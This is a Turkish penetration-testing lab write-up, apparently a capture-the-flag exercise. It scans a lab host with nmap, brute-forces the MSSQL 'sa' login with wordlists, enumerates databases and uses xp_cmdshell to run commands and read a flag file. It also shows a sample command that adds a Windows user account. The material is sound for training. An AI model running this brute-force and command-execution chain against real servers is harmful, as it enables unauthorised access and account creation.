PENTEST LAB ÇALIŞMASI

Penetrasyon testi, sistemlerin çeşitli sorunlarını göz önüne alarak, testler, analizler ve çözüm üreten tekniklerden oluşan bir kombinasyondur.
Pentest testi aşamalarına değinip, ip adresi verilen sunucu üzerinde lab çalışması yapalım.

Penetrasyon Testi Aşamaları

1.Hazırlık ve planlama

- Müşteri ile toplantı
- Test hedeflerini sıralama
- Güvenliği test edilecek hedef sistemi belirleme

2.Keşif

Ağ ve host keşfi, servis sorgulama aşaması;

- Ip taraması yaparak ayaktaki ip leri belirleme,
- Port taraması yaparak port durumunu ve o portta çalışan servisleri görüntüleyerek sisteme sızmaya sebep olabilecek servis keşfi,
- Zafiyet taraması

süreçlerinden oluşur.

3.Exploitation

Hedef sistem üzerinde erişim sağlama aşaması ve sonrasında

- Yetki yükseltme,
- Arka kapı bırakarak erişimi sürekli hale getirme,
- Bir cihazı pivot olarak kullanıp diğer ağlara erişim sağlama,
- Log izlerini silme (Kötü niyetli sızmalarda gerkesinim duyulan aşamadır.)

aşamalarıyla tamamlanır.

4.Raporlama

–

Lab çalışması: hedef ip üzerinden sistemin incelenmesi

> Hedef ip adresi: 172.17.6.66

- Amacımız nmap kullanarak c:\flag_1.txt dosyasını okuyabilmek.
  Bunun için sistem hakkında bilgi toplayarak adım adım ilerleyelim.

```
root@kali:~# nmap -O 172.17.6.66

Starting Nmap 7.40 ( https://nmap.org ) at 2017-08-14 04:40 EDT
Nmap scan report for 172.17.6.66
Host is up (0.0025s latency).
```

```
Not shown: 989 closed ports
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
1433/tcp  open  ms-sql-s
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49156/tcp open  unknown
49157/tcp open  unknown
MAC Address: 38:B1:DB:F8:04:A9 (Hon Hai Precision Ind.)
Device type: general purpose
Running: Microsoft Windows 7|2008|8.1
OS CPE: cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_server_2008:r2:sp1 cpe:/o:microsoft:windows_8.1
OS details: Microsoft Windows 7 SP1 or Windows Server 2008 R2 SP1 or Windows 8.1 Update 1
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.53 seconds
```

Açık durumdaki servisleri görmekteyiz.

Nmap `ms-sql-info` script ile sistemin açık durumda olan 1433 portundaki ms-sql servisi hakkında bilgi edinelim.

ms-sql-info script kullanımı

> `nmap -p 445 --script ms-sql-info <host>`
>
> `nmap -p 1433 --script ms-sql-info --script-args mssql.instance-port=1433 <host>`

```
root@kali:~# nmap -p 1433 --script ms-sql-info --script-args mssql.instance-port=1433 172.17.6.66

Starting Nmap 7.40 ( https://nmap.org ) at 2017-08-15 07:42 EDT
Nmap scan report for 172.17.6.66
Host is up (0.16s latency).
PORT     STATE SERVICE
1433/tcp open  ms-sql-s
MAC Address: 38:B1:DB:F8:04:A9 (Hon Hai Precision Ind.)

Host script results:
| ms-sql-info:
|   172.17.6.66:1433:
|     Version:
|       name: Microsoft SQL Server 2014 SP1
|       number: 12.00.4100.00
|       Product: Microsoft SQL Server 2014
|       Service pack level: SP1
|       Post-SP patches applied: false
|_    TCP port: 1433
```

```
Nmap done: 1 IP address (1 host up) scanned in 2.47 seconds
```

ms-sql bilgilerini görüntüledik. Veritabanı kimlik doğrulaması için zayıf bir şifre olup olmadığını kontrol tmek için `ms-sql-brute` script ile brute force atak gerçekleştirelim.

```
root@kali:~#  nmap -p 1433 --script ms-sql-brute 172.17.6.66

Starting Nmap 7.40 ( https://nmap.org ) at 2017-08-15 10:57 EDT
Stats: 0:03:54 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 50.00% done; ETC: 11:05 (0:03:54 remaining)
Nmap scan report for 172.17.6.66
Host is up (0.025s latency).
PORT     STATE SERVICE
1433/tcp open  ms-sql-s
| ms-sql-brute:
|   [172.17.6.66:1433]
|_    No credentials found
MAC Address: 38:B1:DB:F8:04:A9 (Hon Hai Precision Ind.)

Nmap done: 1 IP address (1 host up) scanned in 521.14 seconds
```

Çıktıda görüldüğü üzere bize herhangi bir kimlik bilgisi vermedi. Şimdi ise Microsoft SQL sunucularında boş parolaların varlığını kontrol edebilen `ms-sql-empty-password` script ile deneyelim.

```
root@kali:~# nmap -p1433 --script ms-sql-empty-password 172.17.6.66

Starting Nmap 7.40 ( https://nmap.org ) at 2017-08-15 11:24 EDT
Nmap scan report for 172.17.6.66
Host is up (0.14s latency).
PORT     STATE SERVICE
1433/tcp open  ms-sql-s
MAC Address: 38:B1:DB:F8:04:A9 (Hon Hai Precision Ind.)

Nmap done: 1 IP address (1 host up) scanned in 0.76 seconds
```

Buradan da bir sonuç elde edemediğimize göre kendi kullanıcı adı ve şifre listelerimizi kullanarak betiği çalıştıracağız. İlk ihtimaller arasında olan default değerlerin, değiştirilmediğini düşünerek kullanıcı adı listemize default kullanıcı adını eklemeyi unutmayalım. (ms-sql veritabanı default kullanıcı adı: sa)

ms-sql-brute script kullanımı

> `nmap -p 445 --script ms-sql-brute --script-args mssql.instance-all,userdb=customuser.txt,passdb=custompass.txt <host>`
>
> `nmap -p 1433 --script ms-sql-brute --script-args userdb=customuser.txt,passdb=custompass.txt <host>`

```
root@kali:~# nmap -p 1433 --script ms-sql-brute --script-args userdb=usernames.txt,passdb=password.txt 172.17.6.66

Starting Nmap 7.40 ( https://nmap.org ) at 2017-08-15 08:24 EDT
Nmap scan report for 172.17.6.66
Host is up (0.16s latency).
PORT     STATE SERVICE
```

```
1433/tcp open  ms-sql-s
| ms-sql-brute:
|   [172.17.6.66:1433]
|     Credentials found:
|_      sa:manager => Login Success
MAC Address: 38:B1:DB:F8:04:A9 (Hon Hai Precision Ind.)

Nmap done: 1 IP address (1 host up) scanned in 23.83 seconds
```

Çıktıda görüldüğü üzere veritabanı kullanıcı adını ve şifresini öğrenmiş olduk. Hangi kullanıcının hangi veritabanına erişimi olduğunu listeleyen `ms-sql-hasdbaccess.nse` betiğini çalıştıralım.

ms-sql-hasdbaccess script kullanımı

> `nmap -p 1433 --script ms-sql-hasdbaccess --script-args mssql.username=sa,mssql.password=sa <host>`

```
root@kali:~# nmap -p 1433 --script ms-sql-hasdbaccess.nse --script-args mssql.username=sa,mssql.password=manager 172.17.6.66

Starting Nmap 7.40 ( https://nmap.org ) at 2017-08-15 08:37 EDT
Nmap scan report for 172.17.6.66
Host is up (0.13s latency).
PORT     STATE SERVICE
1433/tcp open  ms-sql-s
| ms-sql-hasdbaccess:
|   [172.17.6.66:1433]
|       sa (Showing 5 first results)
|         dbname    owner
|         ======    =====
|_        TEST  sa
MAC Address: 38:B1:DB:F8:04:A9 (Hon Hai Precision Ind.)

Nmap done: 1 IP address (1 host up) scanned in 0.84 seconds
```

Veritabanı tablolarını görüntülemek için `ms-sql-tables` betiğini kullanabiliriz.

ms-sql-tables script kullanımı

> `nmap -p 1433 --script ms-sql-tables --script-args mssql.username=sa,mssql.password=sa <host>`

```
root@kali:~#  nmap -p 1433 --script ms-sql-tables --script-args mssql.username=sa,mssql.password=manager 172.17.6.66

Starting Nmap 7.40 ( https://nmap.org ) at 2017-08-15 08:42 EDT
Nmap scan report for 172.17.6.66
Host is up (0.17s latency).
PORT     STATE SERVICE
1433/tcp open  ms-sql-s
| ms-sql-tables:
|   [172.17.6.66:1433]
|
|       Restrictions
|         Output restricted to 2 tables (see ms-sql-tables.maxtables)
|         Output restricted to 5 databases (see ms-sql-tables.maxdb)
|_        No filter (see ms-sql-tables.keywords)
```

```
MAC Address: 38:B1:DB:F8:04:A9 (Hon Hai Precision Ind.)

Nmap done: 1 IP address (1 host up) scanned in 0.81 seconds
```

Bizden istenen flag.txt dosyasına ulaşabilmemiz için `ms-sql-cmdshell` betiği ile sisteme erişim sağlayalım.

ms-sql-xp-cmdshell script kullanımı

> `nmap -p 445 --script ms-sql-discover,ms-sql-empty-password,ms-sql-xp-cmdshell <host>`
>
> `nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="net user test test /add" <host>`

```
root@kali:~# nmap -p 1433 --script ms-sql-xp-cmdshell --script-args ms-sql-xp-cmdshell.cmd='type c:\flag_1.txt',mssql.username=sa,mssql.password=manager 172.17.6.66

Starting Nmap 7.40 ( https://nmap.org ) at 2017-08-15 09:15 EDT
Nmap scan report for 172.17.6.66
Host is up (0.052s latency).
PORT     STATE SERVICE
1433/tcp open  ms-sql-s
| ms-sql-xp-cmdshell:
|   [172.17.6.66:1433]
|     Command: type c:\flag_1.txt
|       output
|       ======
|_      CT_{msSQL_3xpL01t}
MAC Address: 38:B1:DB:F8:04:A9 (Hon Hai Precision Ind.)

Nmap done: 1 IP address (1 host up) scanned in 0.89 seconds
```

Windows tarafında çalıştırılan `type c:\flag_1.txt` komutu ile dosyanın çıktısı görüntülendi.